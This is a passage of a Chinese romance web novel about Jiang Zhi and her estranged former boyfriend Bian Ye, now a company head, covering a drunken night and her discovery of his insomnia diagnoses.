他没应,面无表情地脱下皮鞋,踩进那双根本盛不住他脚的粉拖鞋,后脚跟贴地,每走一步都有种滑稽感。 姜栀没忍住笑了下。 他瞥她一眼,冷冰冰,“很好笑?” 她即刻摇头,给他倒了杯水,“你坐会,什么时候想回去就回去。” 边野嘴不饶人,“这还用你说。” 客厅连着卧室,他坐在小沙发上,一个人就占据了大半面积。不经意扫过她的床,铺得整整齐齐,被子软软叠着,床头摆了只娃娃。 外头有闷雷响起,客厅的灯闪了两下。 他抬头望了眼。 “这个灯就这样的,每次打雷都会闪几下,不会坏,可能是电路哪里有问题。” 她回头看他这模样,下意识解释。 边野敛起眸子,片刻后看向她。 她蹲在沙发后面的柜子边窸窸窣窣地翻找,最后拿着东西看了眼他所在的位置,去了浴室。 他这才发现她找的是药贴。 这沙发实在不够他施展,笔直修长的双腿怎么放都有些不适。 浴室忽然传来碰撞声,他眉头蹙了下。 以为她是在里面滑倒了,迟疑了两秒还是过去敲门。 姜栀胳膊刚刚不慎撞到门上,不算很痛,但有点发麻。 听到敲门声,她愣了下,把门打开。 “怎么了?” 见她额角渗出细密的汗珠,额角碎发有点凌乱,面颊也有点红,他扫了眼其余地方,看起来没什么事,面色淡漠地移开视线,“没事。” “我先走了。” “哦。”她手里还拿着已经撕开的药贴,药味很浓。 边野闻不惯这味道,转身离开。 “哎——” 话比脑子快一步,等姜栀意识到自己喊出了声,他已经回头看着自己,等着她继续说。 她垂眸看了眼手里的药贴,有点不好意思,可房子里没有第二个人了。 背后撞得太痛,她怕晚上会难受得睡不着觉,想用药贴先敷敷,可最痛的地方在左肩胛那块,她贴了好几次都没精准地贴上。 “能不能……”她不好意思直视他,眼睫垂落下来,“请你帮我贴一下。” 看着她逐渐泛红的耳廓,边野走过去接过,也明白过来刚刚的碰撞声应该就是要准备贴药贴不小心碰出的。 药贴黏糊糊的,味道很冲,他下意识皱眉。 “贴哪?” 姜栀背过去对着他,耳根烧得更红更烫。 原本自己贴的时候是后背掀起来的,但他帮忙就不太方便。 她解开衣衫几颗扣子,心跳有些快,也伴随着羞窘,轻抿着唇拉下一角,领口触到肌肤,她感觉到没到地方,又红着脸往下拉了拉。 姜栀天生皮肤白,头顶的灯光虽没有很亮,这片肌肤映在边野眼里却雪白一片。 女孩肩膀纤瘦,鲜明的肩线连着优越的天鹅颈,后脑勺圆润饱满。 但也正因为太过白皙,那些碰撞的痕迹便更明显起来,整个肩胛处都泛着淡淡的红。 边野想起来那声重到令他停下了脚步的撞击声,黑眸晦涩,那股好不容易压下去的怒火在心底死灰复燃。 贺三。 他牙关收紧,颌关节咬动。 “这儿。”姜栀不知道他的心绪变化,背着手指了指肩胛骨边的位置。 边野沉压着呼吸,短暂地重新压下去。 对着她所指的地方,他把药贴贴上,指尖不可避免地触碰到她的肌肤,滑腻而柔软,像一根羽毛扫过,扫得轻轻痒痒。 这些年他不曾见过她,不曾接触和拥有她,那些汹涌的爱意就像炽烈的火被埋于阴湿的黑夜里,非但照不亮半点,反倒奄奄一息,最后长没于此。 而现在—— 他似乎看见隐隐的火苗。 边野敛眸收手,声音比刚才还淡漠,“好了。” 他得记住,那些失眠难熬的每一个日夜。 不该就这样,轻易原谅她。 “谢谢。” 姜栀耳根很红,心跳节拍也紊乱无序。她拉起衣服重新扣好,回过头才发现他已经往玄关边走。 窗外雨声阵阵,滴滴答答地砸落在窗户上,风刮着树枝斜倾,天际不时闪烁两下,带起一阵闷雷。 “等等。” 在他换好鞋准备出去时,她轻声叫住人。 边野淡漠抬眼。 她从墙角拿出一把雨伞递给他,“外面雨大。” 他低眸看着这把碎花小伞,沉默两秒,到底没拒绝。 从房子里出去,边野一路下楼,身后传来轻软柔和的声音,“今天谢谢你。” 他脚下步子轻顿了下,头也没回地离开。 第53章 第 53 章 药贴勉强让姜栀度过了一晚, 第二天醒来时,后背不仅疼痛,药贴所贴的地方甚至开始发痒。 她撕下来不看了眼, 那块肌肤比昨晚红太多。 伸手轻轻碰了碰, 疼意随即袭来。 好像是肿了。 好在是周末, 姜栀吃了个中饭就去了医院。 医院不管什么时候都有很多病患, 周末人更是多。 不远处, 一个身量高挑, 把自己裹得严严实实的女人靠在墙上, 手里还拿着电话,“喂,真不跟我吃饭啊?我好不容易来一趟盐城,正好过敏,组里放半天让我休息,你知道我平时满世界飞的。” 电话对面的边野仍旧冷淡, “没空, 拍你的戏去。” 任恔妤没好气地哼一声,“真是没良心。” “跟我吃饭,回头就上热搜,懂?”他淡漠回应,“公司确实有事,下午还有会。回宿城我请你。” “这还差不多。”她勾勾唇,百无聊赖地扫着医院里来来往往的人。忽然,目光一顿, 看清楚是谁后, 赶紧道:“挂了,不跟你说了。” 叮嘱助理先走, 她就朝取药的窗口过去。 姜栀刚取完要药,忽然有人轻拍了下她肩膀。 她疑惑回头,看到个身形纤瘦的女人。 穿着极短的黑色短袖,露出一截细腰和冷白的皮肤,下身搭着宽松牛仔裤,及腰的黑色长发垂在胸前,光泽有度。 黑色鸭舌帽压得低,又带了个口罩和墨镜,根本难以分辨是谁。 “你是……?”她迟疑出声。 见她没认出来,女人把墨镜往下压了点,露出一双清透的桃花眼,卷翘的睫毛根根分明,黑眸莹亮。 “……恔妤?”姜栀愣住,有些不可置信。 她很满意地点头,“还算有眼光,没认错。” “你怎么会在这儿?”姜栀惊讶问道,任恔妤长得漂亮好看,在人群中都是打眼的存在,天生吃演员这碗饭,在高中毕业就被星探看上,带进了娱乐圈。 这么多年下来,凭着美貌实力也是混到了一线女明星行列。 “来这儿拍广告。” 任恔妤搭上她肩膀,一脸无所谓道:“被虫子叮了有点不舒服,没想到会在这儿遇到你。正好我下午没事,陪陪我?” 多年未见,姜栀自然不会拒绝。 原以为她会去哪个餐厅,没想到最后选了个清吧。 盐城最热闹的地方之一。 任恔妤喜欢热闹,但又不想被人认出来,就定了二楼的贵宾座。在这儿能俯看一楼的歌舞盛景。 被勒令减肥控制饮食两个月,她都快发霉了。 今天总算能放松一把。 “喝点?” 一到这儿,她就把脸上的口罩墨镜和帽子全丢到一边。没有这些东西束缚着舒服多了。 姜栀本想拒绝,但她们确实很难见一面。 好在医生开的药还没吃,应该不要紧。 “好。” 服务生上了两杯鸡尾酒,任恔妤喝了一口,满足地双眼都眯起来,“好久没这么放松了,要不是遇到你,经纪人肯定不会放我出来的。” “今天也算是沾了你的福啦。” 那个在荧幕前一脸御姐相的女明星如今像个吃到糖的孩子,十分可爱。 姜栀莞尔一笑,“怎么会,跟大明星一起喝酒,别人羡慕不来的。” 她翘着腿调侃,“想当初你还是个乖乖巧巧的糯米团子,没想到工作了以后也学会开玩笑了。” 两人感慨一番。 任恔妤托腮看她,“有个问题我一直很好奇。” “嗯?”她没在意,垂眸喝了一口鸡尾酒,有些清甜。 “你当初是为什么要和边野分手啊?” 任恔妤一双眼清透地望着她,摸过手机悄无声息地翻到边野的微信,“听老宋说是跟白家那位有关——” 她一边说一边给他发消息。 任恔妤:[马上给我接听电话,但不许出声。] 边野:[?] 电话拨出去,任恔妤把手机掐灭放在一边,“知知,你当初是真喜欢白司裴吗?” 刚准备挂电话的边野听到这话,动作一顿,手指僵在边缘。被覆盖沉压的过往就这么轻易地被她提起,他眼眸黑沉,像幽暗的大海,风浪看似平静。 姜栀没想到她会问这种问题,有些愣住。 一时不知道怎么开口。 任恔妤视线摩挲着她脸上的情绪,心里轻微地叹了口气,“要是实在不方便说就算了,我就是可惜,老宋跟我说你是移情别恋,我根本不相信。” “一个眼里只有学习的学霸,被边野这种有钱有势有颜的公子哥追求了那么久才答应在一起……” 姜栀抿了抿唇。 这件事已经过去很久了,可提起胸口还是会跟坠了石头一样,沉甸甸的。 “也没什么不方便。”只是掀开那层往事的膜,那些深深埋藏的痛苦与涩意还是会像烧不尽的春草,风一吹就迅速重新生长起来。 “我……没有喜欢他。”她声音不轻不重,却像重锤一样隔着那部手机敲在边野的心口上。 他想过很多种可能。 譬如白司裴威胁她,或者说她的班主任发现她早恋逼着她做决断,再或者他爸边政又改变了主意,开始阻拦…… 至于她不喜欢白司裴这个可能,是最先想到的,可那个时候她那样决绝,当着他的面跟白司裴亲近,任由论坛拱火,任由其他人误解他们在一起。 一句都不肯跟他解释。 嘲弄和往事翻涌而来带起的酸刺终于激起了沉寂海面上的风浪,一层接着一层地席卷过来,像是要拖着他往下坠去。 边野漆黑的瞳眸落在手机上。 他该高兴她并不喜欢白司裴吗?还是绝望于白司裴都只是个用来逼他离开的工具? “那为什么——” 当年的事情任恔妤并不清楚,后来见到边野时也曾问过,但他什么也不说,一句“玩腻了呗”堵住她所有问话。 至于别的,那都是宋言旭的说辞。 除了边野和姜栀,没人知道真正的原因。 虽然与姜栀不过几面之缘,但她很喜欢这个女孩,身上有种很纯粹的干净,和平和的气质。 边野这小子从小家里就不太平,长大后跟边叔更是势如水火,在外装得浪荡风流,但她了解他,不是表象那样。 好不容易真心喜欢个女孩,最后还变成这样。 旧事重提,姜栀仿佛看见了他们相见的最后一面。 那些伤人的话,尖锐刺骨。 只是时间日久,她好像只能感觉到麻木,连对疼痛的察觉都迟缓不少。 “白司裴只是陪我演戏。” 她嘴角挂着很浅的笑意,琥珀色瞳眸里却好像弥着悲伤,看得人有些心闷。 “和边野有缘无分罢了。” 任恔妤眉头轻蹙,下意识瞥了眼手机。 “那分手是因为,腻了不喜欢他了吗?”这种长了嘴却不知道好好利用的男人,她得再帮他一把。 边野浓黑的长睫垂下来,喉间有涩意漫上来。 当初爱意有多汹涌,如今就有多锋利,像扎向他的箭矢,穿心而过。 搁在手机边的指尖微动,在姜栀出声前按断了电话。 别再听了。 听过一次就够了。 总不能还把自己搞得和曾经那样狼狈卑微,连个安放自己的余地都没有。 任恔妤并不知道他掐了电话,神色认真地盯着她。 姜栀轻轻吸了口气,笑着摇头,“都过去了。”如果这一辈子没有缘分也没关系,只要他平安康乐就好。 没有什么比这个更重要了。 任恔妤唇瓣微动,到底还是没有再追问下去。 连她自己的感情都是一地鸡毛,怎么还妄图想要开解他们俩。 “那不说了,聊聊别的。” 她喝下一大口鸡尾酒,又点了一排让服务生端上。桌子被摆了一半的空间。 “给你说说我们这行的八卦吧,可有意思了。”她笑起来明媚,上扬且勾人的桃花眼里透着闪烁细碎的光,却也让人看不见深处,只浮于表面。 “好。”姜栀是个很捧场的听众,不时陪她辩议几句。 手里的酒不知不觉中倒是越来越少。 “你是不知道我那个对家,成天给我买黑通稿就算了,还妄图给我泼——” 任恔妤说到起兴时,转头看了她一眼。 姜栀不知什么时候已经趴下了。 脸颊侧压在手臂上,面上浮着酒后的红晕,手臂边几个空杯昭然。 比起她的酒量,任恔妤如今要好上不少。 只是脸有些红,还没有上头。 她望着安安静静睡过去的女孩,惋惜地默默叹口气。 听她讲八卦,结果喝得比她还多。 任恔妤重新把帽子口罩和墨镜戴好,正准备给自己助理打个电话,想了想还是没打,翻了眼通话记录。 打给边野的电话于四十六分钟前挂断。 她看了眼姜栀,回想四十六分钟前她正在讲什么,但半天也没想清楚。 算了。 任恔妤又给他打过去个电话,那边很快接通。 “平时接电话不见你这么积极,怎么今天秒接啊?” 边野靠在软椅上,目光冷淡的睨着电脑屏幕,“有事说事。” 她没忍住翻了个白眼,“给你个机会,把人接走,我五点的飞机。她现在醉酒,你要是不接,我可就把她晾在这儿了,到时候出事了别怪我。” 他眉头拧了下,沉默两秒低沉问:“地址。” 任恔妤默不作声勾唇,面上依旧保持着无所谓的姿态,“发你了定位。” 挂了电话,边野脸色凝沉。 一秒都不耽误地起身出去。 走出办公室,工位上的周然看见,愣了下,“边总您要出去吗?” “嗯。”他声音淡淡。 “可是二十分钟后有个会——” “推了。”不容置喙的语调- 边野到清吧时被服务生带到二楼,贵宾座里只有姜栀一个人,他眼眸顿时暗沉下来。 他还没来就敢把人丢在这,真是好样的。 压了压气息,他瞥了眼睡得不安稳的姜栀,还有桌上那些空酒杯。 眉头拧起。 “醒醒?”他走过去,没什么好脸色地拍了拍她的脸。女孩脸颊温热柔软,触感滑腻,他指尖微蜷。 “嗯……”姜栀不太高兴地把脸朝向另一边睡,给他留了个后脑勺。 边野:“……” 知道叫不醒人了,他握住她手臂放在肩膀上,轻而易举地把人从椅子上背起来。与此同时,有什么东西“啪”一声掉下去。 “药。” 她声音迷迷糊糊,秀眉蹙着,明明眼睛都睁不开了,还不忘记叮嘱他。 边野回头看了眼,从椅子上捡起,挂在了手臂上。 他常年健身,一身腱子肉,背着她下楼也十分稳当。 走出清吧,离停车地还有几百米。 他默不作声地往前。 背上的人轻轻扭动了下,似乎在调整姿势。 他停下来,脑袋微偏向后。 男人肩膀结实,姜栀趴在上面,软软的脸颊被压得凹进去不少。许是昨晚身上痛没睡好,她这会儿在酒精作用下倒是困倦得很。 迷迷糊糊中睁开了眼缝,似乎看见张熟悉的脸。 “边野?” 姜栀双眼迷蒙,醉醺醺地伸手轻轻戳了下,他眉头轻蹙。 “好真实啊,可惜……”她嘟嘟囔囔着叹息,重新闭上了眼。 “可惜什么?”边野余光瞥了她一眼,背着人往前走。 她压着脸颊,声音模糊,“可惜,你不是真的……” 边野黑眸微动,望着前方。 耳旁又传来她的嘀咕,越发听不清,“要是真的,就好了……” 他什么也没说,眼底像沉溺的汪洋。 是不是真的又有什么分别。 清吧距离姜栀的家并不远,到了以后,边野低声问她:“钥匙在哪?” 她没应。 “别睡了。” 姜栀隐约听到,反应了片刻迟钝道:“在、在包里。” 边野沉默了两秒,把人放下来靠在墙上,“站稳。” 他拉开她身上的挎包,在里面翻找,还没找到钥匙,一道身影就朝他迎面倒来,直接倒进了他怀里。 “起来。” 他淡淡命令。 姜栀实在困倦,摇了摇脑袋,“好困。” “那你不打算进去,准备晚上在外面打地铺?” 她继续摇头,“不行,我要睡床。” 话黏黏糊糊的,要求倒是清晰。 边野把人重新放在墙边,“站好,不然就把你从这丢下去。” 姜栀看着他,委委屈屈靠着墙滑下去。 一屁股蹲坐在地上。 找到钥匙,他一个个对孔,门开得倒是快。 回头,他看见姜栀抱着膝盖缩在角落,小小一只,心口闷堵了下,“进去睡。” 声音比之前温沉了些。 姜栀仰起脑袋,楼道里的灯光昏黄,映照着她泛红漂亮的脸,朦胧得如同蒙了层纱,琥珀色眼睛水汪汪一片,闪着细碎的光。 令人一眼就忍不住想要怜爱。 “累。起不来。” 她伸出白皙细嫩的手,眼巴巴望着他。喝醉了酒后倒是不像之前那样疏离,有种可爱的憨厚感。 边野低眸看向她的手,指甲修剪的干净浑圆,手指纤细。 伸手握住,给了股力道将人拉起来。 她起来倒是起来了,只是左脚绊右脚,没能站稳,撞进他怀里。话也不说,只知道仰着脑袋看他。 边野目光没那么纯粹,下意识落在她粉嫩饱满的唇上。 整张脸醉醺醺得像个水蜜桃。 他移开视线,喉结滚动了下。 沉了口气把人带进屋子里。 沾了床,姜栀就跟关了机似的,一秒进入睡眠模式。 安安静静的,能听到很浅的呼吸声。 边野在床前站了会儿,许久后,关了灯离开。 姜栀次日醒来后,看到身上没更换的衣服愣了下,揉按着太阳穴看向四周,发现是自己熟悉的家后松了口气。 她呆呆坐在床上,除了还记得自己跟任恔妤喝了酒,其余的半点印象也没有。 只记得好像是喝醉了。 那她怎么回来的,难道是任恔妤送她回来的吗? 思来想去,好像也只有这个可能了。 等之后任恔妤再有空的时候,得请人家吃个饭- 那天跟贺为京闹成那样,威顿的单子恐怕要被她弄砸了。 姜栀本以为主管要训斥几句,但一直到周三,都没有丝毫动静,仿佛这件事压根没人知道。 她虽然奇怪,但也不会主动去问。 直到午休时林主管找她,姜栀已经做好被批评的准备了。 一进办公室,她就满脸歉意地低垂着眼睫。 “好消息,和芯耀的合作敲定了。”林主管笑容满面,一脸欣赏地盯着她。 姜栀听在耳里,一时没反应过来,“啊?” “啊什么啊,大礼包砸下来给你砸晕了?”林主管打趣道,“整理份合同,下午带去芯耀,假我已经给你批好了。” “宜早不宜迟,早签早安心。” 芯耀能同意这个合作不亚于她那天第一次见到边野的震憾,外面好多公司都在竞争芯耀的供应商,智启能被选择她是高兴的,只是…… 姜栀沉了口气,没再多想。 快速让人拟定了合同打印出来,确认无误后带去了芯耀。 芯耀的内里装饰与外边的金属感冷调性并无不同,以灰白为主色调的设计风格,严肃冷酷,彰示着主人的威严。 姜栀被周然请进休息室。 “不好意思姜小姐,边总目前在开会,您在这儿稍作等候,等边总出来我给您转达来意。”周然递了杯水放在桌上。 “谢谢。”姜栀点点头。 人一出去,休息室就剩下她一个人。 她不知道边野的会议要开多久,只能看着玻璃门外来来往往的员工,步履很快,脸色认真,倒有点宿城的节奏。 墙上的钟分针走了两圈,桌子上的水都换了一轮,周然才过来叫她,“姜小姐,边总有请。” 她立马拿起合同起身,只是坐了太久,双腿有点麻,差点没站稳。 进了办公室,边野就坐在待客区的灰色沙发上。 西装革履,头发梳得一丝不苟,面庞轮廓棱角分明,眉眼深邃认真地看着资料。和之前在会所见到的模样完全不同。 见她进来,掀起眼皮瞥了眼。 视线扫过那双走路些微不流畅的腿脚。 “边总。” 她把合同递过去,“您看看有没有什么问题。” 边野接过,丝毫没管她的存在。 公事公办得像是根本不认识她。 “笔。”良久,他淡漠出声。 姜栀赶紧从包里找出一支给他。 他字很好看,龙飞凤舞,笔画间潇洒不羁,就如同他这个人一样。 姜栀站在那儿,还是没忍住问出心底的疑问,“方便问问边总为什么会选择智启吗?”虽然她对自己的方案有一定的信心,但竞争者实在过多。 边野合上一份,签署第二份合同。 头都没抬,“总不会是因为你。” 她眼睫轻颤了下,手指绞在一起,“我不是这个意思。” “那还有什么要问的?我的决定有必要跟你汇报?”边野合上笔,把合同往桌上随意一放。 “没。”姜栀有点尴尬地低头。 合同签署好,她的任务就算完成了。 拿起合同,和边野打了声招呼,转身离开这间没什么人气的办公室。 松了口气,姜栀刚走几步,身后忽然有人喊她。 回头,是周然。 “姜小姐先别急着走,跟边总一起吧,边总正好下班。” 姜栀没想着同行,更没想麻烦边野,礼貌笑着婉拒,“我自己回去就好了,很近的。” 话音刚落,男人就从办公室里走了出来,已经换下了西装外套,只余一件衬衫。 边野没看她,擦身而过去电梯。 姜栀落后一步,但电梯都在同个方向,只好站在他后面。 气氛过于安静,她连呼吸都放轻了。 电梯到层,门一开,边野先行走了进去。 她在外微微一笑。 “进来。”嗓音低沉,带着不容置喙的语调。 姜栀连忙道:“没事,我坐下一乘就好。” 边野瞳眸漆黑,看人时没什么温度,“让你进来,听不懂?” 她愣了下,犹豫一秒还是走进去。 边野正巧挡在楼层按钮边,她左右观察都没有空隙进去按,小声道:“边总可以帮我按下一层吗?” 他瞥了眼亮着的负二,嗓音淡淡:“伞还想在我家占多久的位置?” 姜栀先是懵了一瞬,很快想起来他说的是什么。 “不是什么贵重的东西,边总留着就好。” 边野偏头睨着她,目光冷淡,她迎着视线总觉得后背有点儿发凉。 “我看起来有特殊癖好?”一把明显女生用的碎花小伞。 姜栀呆了下,连忙摇头。 后边再也没说话,一路安安静静到他家。 和曾经在宿城的壹臣院那样,这套平层也是充斥着冷淡风,暗色的大理石地板一路延伸,客厅中央摆着很大的黑色沙发,后面摆着灰色圆形餐桌,旁边的岛台一色全黑。 没什么生气,冷淡得像是要出家。 她站在玄关外面不敢随意踏进,乖巧安静。 边野目光淡漠,“还要我伺候你?” 姜栀愣了下,意识到他什么意思,又不敢随意翻找,只好脱了鞋子踩在地板上。 他回头瞧了眼,眉头几不可察地蹙了下。 到底没说什么。 “我在这等您吧,您把伞拿给我就好。” 她语气恭敬,边野却听得不爽。 现在跟他倒是用起尊称了。 “没空。在卧室,自己拿。” 他语调越发冷淡,还透着点不客气。 话都说到这份上了,姜栀只能顺着他的意思去做。 问了主卧位置,她礼貌小心地过去。 门推开,里面没什么多余摆设,简简单单摆着床和壁桌,依旧是黑灰的色调,看起来就有些压抑。 姜栀不敢乱看,尽可能快地去找那把伞。 看到在壁桌旁的架子上,她抓紧去取。 回退时视线不经意落在桌上一个敞开的收纳盒里,里面有好几张诊断书,还有随意摆放的药瓶。 她本不该窥探边野的隐私,可为首那张诊断书上有睡眠障碍诊断的字样。脑子里有个声音在催着她去拿那些诊断书。 看看吧。 看看你缺席了这么多年,他到底经历了什么。 姜栀手指微蜷,拿起一张。 日期是20x3年5月6日。 姓名:边野。 往下是病史记录:持续入睡困难,需1-2小时才能入睡,伴早醒1个月,加重1周,睡眠维持障碍。 诊断:慢性失眠障碍。 白纸黑字清晰地映在眼底,她握着诊断书的手微微收紧。 这一年她还在高三,这张诊断书距离他们最后一次见面,那个他送来手表的冬夜不过五个月。后来她没再见过他,短短五个月,他就已经连入睡都困难了吗? 胸口传来潮湿的闷意,她呼吸发涩。 下一张是20x4年。 病史记录他夜间总睡眠低于五小时,伴随记忆断层,偶尔出现幻觉,自主神经功能紊乱。 依旧是睡眠障碍。 …… 姜栀一张接一张地往后翻,每一张诊断书上的病史记录都像尖针刺向她的眼睛。 心脏不停的下坠,再下坠,有什么东西拖着她往不见底的黑洞里坠落。她指尖过于用力,将诊断书捏出了褶子。 心口泛起刺痛,强行去忽视。 敞开的盒子里,全是药瓶,治疗各个阶段失眠的药物都有。 从高三那一年至今。 他没有停过。 这些她不曾参与的时间里,他过得不好。 是她自以为地把人推开,自以为地保护他,可最后现实重重砸在她面前,将她砸得稀碎。诊断书上的每一个字都用力地牵扯着她的神经,浑身都痛。 那个曾经肆意张扬、纨绔不羁的少年,独自奔赴异国他乡,每一晚都在承受痛苦,却又支撑了这么久。 一个人,从少年支撑到男人。 她好像做错了。 错得过分。 眼眶酸楚得厉害,滚烫的泪掉下来。 姜栀用手背擦去,可呼吸发热颤抖,心底早已一片泥泞。 第54章 第 54 章 从主卧里出来的时候, 她面上的情绪已经收拾好了,但身体如同掉进沼泽,动一下都会陷得更深, 挤压着五脏六腑, 喘息艰难。 她脚下一双雪白色棉袜, 走在干净敞亮的地板上, 无声无息的。 姜栀走得慢, 眼睫始终低垂着, 手里握着把碎花小伞。 客厅外的小院里传来男人低沉不耐的声音, “我没空在这陪你打哑语,有事就说。” 她掀起眼皮,才发现边野不知什么时候已经站在外面了。 男人身量欣长高挺,黑色衬衫的袖子挽到小臂上方,露出精壮的肌理,筋脉凸起, 一路顺着纹理蔓延至腕骨。 骨节分明的手掐在窄瘦的腰上, 背影冷淡,透着生人勿近的气场。 姜栀不打算打扰他讲电话,安安静静站着,目光却没法从他身上挪开一丝一毫。 那些诊断书像钢棍砸在她脑袋上,到现在她还是懵然的。 还是无法接受这些事实。 那边不知说了什么,边野冷嗤一声,不屑与不耐倾浮而出。 “我是26、27还是36、37,也轮不到您来管我的婚姻, 你这么看重苏家, 不如自己去联姻,或者你的小秘书不是生了个女儿吗, 让她去,保准如您的意。” 讽刺意味拉满。 姜栀隐约猜到也许是边叔叔。 说起来,边野比她大一岁,如今26岁,正常男生这个年纪也确实该有个对象,然后再在合适的年纪结婚。 所以这六年半来,他没有接纳新的人,唯一一直陪伴在身边的只有这个病。 她很轻地吸了口气,手里的碎花小伞差点没拿稳。 “……臭小子!你胡说八道什么?边家最后还是要交到你手里的,苏家就这么一个女儿,从小培养的优秀,你奶奶也很中意,你找个时间回来一趟,你奶奶如今年纪这么大身体也一年不如一年,你难道要让你奶奶……” 边政起先还很愤怒,但说着说着声音逐渐平缓下来,有种子欲养而亲不待的惧意。 边野周身原本竖起的冰冷尖锐的刺,此刻也缓慢收拢了些。 他沉默着没说话。 周遭安静,以至于姜栀不是没完全听到边叔叔的话,至少前半段她听得还算清楚。 垂在身侧的手微微蜷起。 她原本很想问一些什么说一些什么,可现在好像不需要了。她实在无法确定,再一次去靠近他是可以治愈他,还是会把他的生活搅得更糟。 姜栀不敢赌。 他已经过得够不好了。 但如果他愿意听从边叔叔的意见尝试与那位苏小姐接触,会不会比现在好,也许可以逐渐磨平那些积年累月的痛苦。 边叔叔的声音平静下去,她几乎听不见他说什么了,只能听到边野沉沉的应答声。 也许……是同意见那位苏小姐了吧。 也好,总好过她这样的人。 沉疴暗疾就不要再揭开了。 姜栀低着眉眼,喉咙口像被卡了根刺,就连轻微的呼吸都会让它刺进血肉里,隐隐作痛。 边野不耐地挂断电话,回头看见她,锋锐的眼色敛起。 视线越过她脑袋,看了眼主卧的位置。 “姜小姐什么时候有偷听别人打电话的癖好?”他黑色眉头挑起,幽沉的瞳孔里似有戏谑与讥讽。 姜栀匆促地压下那些攻心的、四窜的情绪。 “没。” 她握着碎花小伞,声音轻轻,但如果细听,能发觉她的语调和刚来时有细微的不一样,哪怕都是很礼貌,此刻却含带着落寞。 “我出来的时候,边总正在通电话,所以在这等您。” 又是尊称。 边野有些不爽,眉眼沉压着,大步越过她,“不送。” 她隐约能感觉到他的情绪。 只是日常他都对自己如此冷淡,似乎跟她多说一句都不愿意。所幸有了这通电话,让她没问出些自取其辱的东西。 姜栀什么都没说,默不作声地出去。 大门关上,她在门外站了片刻,才如同剥离般从这里离开。 客厅里。 边野收回了余光,去往主卧。 壁桌上那个盒子里,原本压在瓶身下的诊断书此刻已经将药瓶覆盖,其中一张的边角被攥出了印子。 他平静地看着这些东西,用盒盖将它盖上。 尘封的暗疾被揭开,他仿佛看见那些难熬的夜里,无数次午夜梦回,堪堪入睡却又被梦魇惊醒,背后汗湿,再也无法沉眠。 很多次,他都能看见凌晨三四点的夜景。 陌生的国度、陌生的城市,带不来丝毫温暖。 然后,靠着两三根烟熬到天际发白。 太阳出来的那一刻,阳光四面八方地映照下来,他冰冷的身体也有幸沾染上这样有温度又美好的东西。 这是异国他乡唯一能让他慰藉的。 是和在宿城一样的太阳。 那个时候,他才好像活过来一点,如同被丢在旱地里的鱼,终于得到一捧清浅的水,虽少,但却能让他勉强能度过一天,再去过新的一天。 每一天就这样熬着,竟也熬到了今天- 周五那天,姜栀被公司临时派去隔壁临姚市听行业大拿讲座,美其名曰去取取经。实际上并没有什么用处,倒是能借着这个机会放松一把,算是个肥差。 来的人不少,各个都穿得很正式,唯独她全身比较休闲。 被场务安排到座位上,姜栀不是那种所谓的e人,周遭都在热烈地聊天,她就安安静静坐着,如果有人跟她搭话,她就礼貌回应。 虽然不算热情,但她长得实在惹眼,眉眼柔婉清纯,媚不自知,整个人的气质干干净净的,自打来了就引来不少注视。 旁边一个年轻男士不停地找话题,她没有半点热络。 “这里可以坐吗?” 耳旁忽然传来一道温润的嗓音,绅士礼貌,姜栀应声回头。 斯文俊秀的脸骨相优越,高挺的鼻梁上架着一副金丝边框眼镜,穿着套蓝色休闲服,与她纯白的这一身看起来倒是搭配。 “……白司裴?” 姜栀的惊讶自眼底明显溢出。 自高三毕业之后,他们就没再见过面,白家远在宿城,这个讲座并没有多大的名气,如他这种地位的,不必来这样的场合。 白司裴英俊儒雅,笑起来令人如沐春风,吸引了不少女士的目光,姜栀能听见有人在激动地窃窃私语。 意识到因为自己没说话,他还一直站在这,太过惹眼。 姜栀有点不好意思,“没人的,你坐吧。” 得到她的允许,白司裴才坐下。男人身高腿长,一身休闲装透着慵懒,看起来平易近人。旁边一直试图和姜栀搭讪的男士悻悻地坐回自己的位置上。 在场的,没有一个比得上白司裴。 无论是模样还是气质。 俊男美女搭配在一起才养眼。 “你怎么会来这?”姜栀到底疑惑,外加他们已经很多年没联系过,她总觉得有些生疏,便自己找了话问。 白司裴含笑看着她,和高中的清纯与稚气不同,她如今看起来多了几分轻熟感,瞳眸清透干净,一头乌黑的长发像有质感的丝绸,浓密柔顺,整个人看起来更有韵味了。 “路过,听朋友说这里有个专业级别的讲座,过来看看。” 他笑着耸了耸肩,“没想到会遇到你,真巧。” 世界真小啊。 姜栀在心底轻轻感叹。 “说起来,我们已经六年没见了,你现在过得怎么样?”像久未见面的老同学寒暄,他礼貌温和,让人生不起半点抵触。 明明他们并没有很熟悉。 姜栀微微莞尔,眼底透着柔和,“还好。” 没有很坏也没有很好,还可以呼吸到这个世界的空气。 “这么多年,还是自己一个人吗?”他像是不经意问出这句话,只是关心她的日常生活。 “是啊。”姜栀没做什么隐瞒,对于他,她其实是感激的,当初愿意牺牲自己的名声来帮她,即便她现在知道自己错了,却也怪不到他头上。 她礼貌反问:“你呢,是不是到了催婚环节了?” 问出的刹那,姜栀愣了下,是受了他的影响所以才会问出这种问题吗。 白司裴没察觉到她眼底一闪而过的失落,开起自己的玩笑来,“是啊,恐怖如斯。”他侧头,眼底透着无奈。 姜栀被他逗笑,有点感慨,“有人催也是一种幸福。” 他不置可否。 讲座很快开始,专家在台上滔滔不绝。 四周摆着几架摄像机,闪光灯不时地闪烁着。 两个小时后,讲座结束。 姜栀坐了太久,起来时有种骨头都放松的感觉,她走在白司裴后面顺着座位依次出去。 到了门口才发现他在等她。 “怎么了?”姜栀不解。 白司裴笑着挑眉,“好久没见面,不知道这位美丽的小姐可否给个机会共进晚餐?”在她开口前,他又补了句:“下一次见面就不知道是什么时候了,人生见一面少一面。” “你现在怎么也学会这么打趣了。”她微微笑起来,眉眼弯弯,“你想吃什么,我请客。” 白司裴勾唇,看着她的眼神带着热意,“那我就不客气了。”- 芯耀科技办公室。 周然敲了门进去,见边野靠在椅子上,脸色始终冷淡,“边总,智启的供应商到了,可以进行技术方案引进。” 这不过是个流程,她过来也只是汇报一下。 按照从前的合作,老板是不会管的,底下人负责好就行。 周然原以为这次也是同样,汇报完就准备离开,却听到他温沉的嗓音:“让她过来。” “啊?” 她愣了下。 “很难懂?”边野掀起眼皮,目光淡凉。 周然摇头,赶紧应了准备去叫人,临近门口,她想起来第一次在包厢和智启的人谈合作时,老板那样针锋相对,如果真是旧相识的话,难免有点缠绵的过往。 她有些迟疑,试图再确定下,“边总,您指的是……姜小姐吗?” 边野一副看傻子的表情。 “那个……”她想起来自己冲浪刷到的视频,“今天来的不是姜小姐。” 边野目光冷淡,直视着她。 